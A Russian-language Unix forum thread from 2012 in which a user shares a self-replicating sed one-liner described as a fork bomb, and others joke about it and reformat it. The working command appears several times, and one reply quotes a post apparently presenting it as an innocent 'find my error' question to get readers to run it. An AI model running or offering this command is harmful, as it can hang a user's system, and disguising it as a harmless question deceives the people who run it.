На самом деле это единственный раздел про unix на этом форуме
Модераторы: /dev/random , Модераторы разделов
Nazyvaemykh
Сообщения: 438
Статус: Подопытный участник
Сообщение
Nazyvaemykh » 07.08.2012 20:29
Привет всем!
Забавы ради написал на
sed форк-бомбу.
Код: Выделить всё
echo | sed 's/^/\/;h;s\/\\\\\/\\\\\\\\\/g;s\/\\\/\/\\\\\\\/\/g;G;s\/\\n\/\/;s\/^\/echo|sed s\\\/^\\\/\/;s\/ \/ \\d039\/;s\/$\/\\d039\/e;q/;h;s/\\/\\\\/g;s/\//\\\//g;G;s/\n//;s/^/echo|sed s\/^\//;s/ / \d039/;s/$/\d039/e;q'
вроде бы, работает (:
за большим изяществом не гнался.
Пока что мне большего всего не нравится \d039. Но как еще можно поставить одинарные кавычки вокруг аргументов sed.
делать как-то так:
sed 'begin' "'" 'end',
то есть использовать сочетание двух типов кавычек, но число кавычек тут стремительно увеличивается, я боюсь запутаться…
¡ Страсть к разрушению есть творческая страсть !
taaroa
Сообщения: 1319
Сообщение
taaroa » 07.08.2012 20:48
https://www.linux.org.ru/forum/talks/8078263
Пытаюсь освоить sed, помогите найти ошибку:
echo | sed 's/^/\/;h;s\/\\\\\/\\\\\\\\\/g;s\/\\\/\/\\\\\\\/\/g;G;s\/\\n\/\/;s\/^\/echo|sed s\\\/^\\\/\/;s\/ \/ \\d039\/;s\/$\/\\d039\/e;q/;h;s/\\/\\\\/g;s/\//\\\//g;G;s/\n//;s/^/echo|sed s\/^\//;s/ / \d039/;s/$/\d039/e;q'
Метки: sed
anarquista (07.08.2012 16:34:17)
:wq
SLEDopit
Модератор
Сообщения: 4824
Статус: фанат консоли (=
ОС: GNU/Debian, RHEL
Сообщение
SLEDopit » 07.08.2012 21:16
UNIX is basically a simple operating system, but you have to be a genius to understand the simplicity. © Dennis Ritchie
The more you believe you don't do mistakes, the more bugs are in your code.
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current
Сообщение
drBatty » 15.08.2012 11:13
Nazyvaemykh писал(а): ↑ 07.08.2012 20:29
Забавы ради написал на sed форк-бомбу.
зачем такие сложности?
выше уже было:
Nazyvaemykh
Сообщения: 438
Статус: Подопытный участник
Сообщение
Nazyvaemykh » 17.08.2012 20:50
drBatty писал(а): ↑ 15.08.2012 11:13
зачем такие сложности?
Just for fun же.
Ну и из любви к sed.
¡ Страсть к разрушению есть творческая страсть !
DaemonTux
Сообщения: 1480
Статус: Юный падаван
ОС: Gentoo
Сообщение
DaemonTux » 18.08.2012 19:49
Nazyvaemykh писал(а): ↑ 17.08.2012 20:50
drBatty писал(а): ↑ 15.08.2012 11:13
зачем такие сложности?
Just for fun же.
Ну и из любви к sed.
Да вы сударь извращеней (:
Vladivostok Linux User Group
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current
Сообщение
drBatty » 19.08.2012 10:56
из любви к sed можете более понятнее написать? Вроде-бы вы это имели ввиду:
Код: Выделить всё
echo |\
sed '
s/^/\/;h;s\/\\\\\/\\\\\\\\\/g
s\/\\\/\/\\\\\\\/\/g
G
s\/\\n\/\/
s\/^\/echo|sed
s\\\/^\\\/\/
s\/ \/ \\d039\/
s\/$\/\\d039\/e
q/
h
s/\\/\\\\/g
s/\//\\\//g
G
s/\n//
s/^/echo|sed
s\/^\//
s/ / \d039/
s/$/\d039/e
q
'
или я таки запутался?
ЗЫЖ терпеть не могу разбираться в заборчиках (\/\/\/) и в слешированных слешах (\\\\\\\). Вам это нравится? Хотите поговорить об этом?